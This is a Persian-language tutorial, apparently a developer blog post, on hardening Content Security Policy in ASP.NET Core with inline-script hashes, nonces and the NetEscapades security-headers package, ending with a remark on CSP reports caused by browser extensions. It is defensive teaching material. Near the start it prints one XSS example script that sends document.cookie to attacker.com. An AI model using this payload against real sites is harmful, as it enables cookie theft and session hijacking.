بهبود امنیت CSP با استفاده از معرفی هشهای اسکریپتهای Inline
نویسنده: وحید نصیری
تاریخ: ۱۴۰۲/۰۵/۱۶ ۱۰:۵۵
آدرس: www.dntips.ir
| مطالب | ۳۶۹۴ |
| نویسندگان | ۲۷۶ |
| گروههای مطالب | ۱۰۲۴ |
| نقشههای راه | ۱۱۹ |
| دورهها | ۱۴ |
| اشتراکها | ۱۷۹۱۴ |
Content-Security-Policy: default-src 'self'
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution. Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
<ItemGroup> <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" /> </ItemGroup>
public static class SecurityHeadersBuilder
{
public static HeaderPolicyCollection GetCsp(bool isDevelopment)
{
var policy = new HeaderPolicyCollection()
.AddFrameOptionsDeny()
.AddXssProtectionBlock()
.AddContentTypeOptionsNoSniff()
.AddReferrerPolicyStrictOriginWhenCrossOrigin()
.AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
.AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
.AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
.AddContentSecurityPolicy(builder =>
{
builder.AddBaseUri().Self();
builder.AddDefaultSrc().Self().From("blob:");
builder.AddObjectSrc().Self().From("blob:");
builder.AddBlockAllMixedContent();
builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
builder.AddFontSrc().Self();
builder.AddStyleSrc().Self();
builder.AddFrameAncestors().None();
builder.AddConnectSrc().Self();
builder.AddMediaSrc().Self();
builder.AddScriptSrc().Self()
// Specify any additional hashes to permit your required `non-framework` scripts to load.
.WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
// Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
.UnsafeEval();
//TODO: Add api/CspReport/Log action method ...
// https://www.dntips.ir/post/2706
builder.AddReportUri().To("/api/CspReport/Log");
builder.AddUpgradeInsecureRequests();
})
.RemoveServerHeader()
.AddPermissionsPolicy(builder =>
{
builder.AddAccelerometer().None();
builder.AddAutoplay().None();
builder.AddCamera().None();
builder.AddEncryptedMedia().None();
builder.AddFullscreen().All();
builder.AddGeolocation().None();
builder.AddGyroscope().None();
builder.AddMagnetometer().None();
builder.AddMicrophone().None();
builder.AddMidi().None();
builder.AddPayment().None();
builder.AddPictureInPicture().None();
builder.AddSyncXHR().None();
builder.AddUsb().None();
});
if (!isDevelopment)
{
// maxAge = one year in seconds
policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
}
policy.ApplyDocumentHeadersToAllResponses();
return policy;
}
} var app = builder.Build(); // ... var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment()); app.UseSecurityHeaders(headerPolicyCollection); app.UseHttpsRedirection(); // ...
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests Cross-Origin-Embedder-Policy:require-corp Cross-Origin-Opener-Policy:same-origin Cross-Origin-Resource-Policy:same-origin Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=() Referrer-Policy:strict-origin-when-cross-origin X-Content-Type-Options:nosniff X-Frame-Options:DENY X-Xss-Protection:1; mode=block
Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' <URL> <URL>". Either the 'unsafe-inline' keyword, a hash ('sha256-e89EFOm4894OkHmgoH52lEUIFeaK8fITnql0='), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present. Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
Either the 'unsafe-inline' keyword, a hash ('sha256-47n3fyKunfMlzbj5WI9A+M7PCtkEBK1FdKBmeIJm6cQ='),
or a nonce ('nonce-...') is required to enable inline execution.
Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
Either the 'unsafe-inline' keyword, a hash ('sha256-U7TCPcjA7cg/qySnA1JN36C5ogRYdv4YyFAlyei7GN8='),
or a nonce ('nonce-...') is required to enable inline execution. builder.AddStyleSrc().Self()
.WithHash256("47n3fyKunfMlzbj5WI9A+M7PCtkEBK1FdKBmeIJm6cQ=")
.WithHash256("U7TCPcjA7cg/qySnA1JN36C5ogRYdv4YyFAlyei7GN8="); script-src 'nonce-rAnd0m'
<script nonce="rAnd0m"> </script>
builder.AddScriptSrc().Self().WithNonce()
HttpContext.Items["NETESCAPADES_NONCE"]
یک نکتهی تکمیلی: اکثر مشکلات گزارش شدهی CSP، ناشی از افزونههای کاربران هستند!
اگر CSP را بر روی سایت خود فعال کنید و گزارشات رسیدهی آنرا بررسی کنید، بیش از همهچیز، به خطاهایی مانند گزارش زیر خواهید رسید:
{
"csp-report":{
"blocked-uri":"inline",
"column-number":74344,
"disposition":"enforce",
"document-uri":"https://www.dntips.ir/news/details/19227",
"effective-directive":"script-src-elem",
"line-number":1,
"referrer":"https://www.dntips.ir/",
"source-file":"moz-extension",
"status-code":200,
"violated-directive":"script-src-elem"
}
}این خطاها، ناشی از دستکاری محتوای صفحه، توسط افزونههای ثالث نصب شدهی در مرورگرهاست! برای مثال افزونهای را نصب کردهاند تا فونت پیشفرض صفحه را تغییر دهد که به دلیل فعال بودن CSP، توسط مرورگر برگشت زده میشود. لیستی از مواردی را که میتوانید در این زمینه انتظار داشته باشید، در اینجا قابل مطالعه هستند.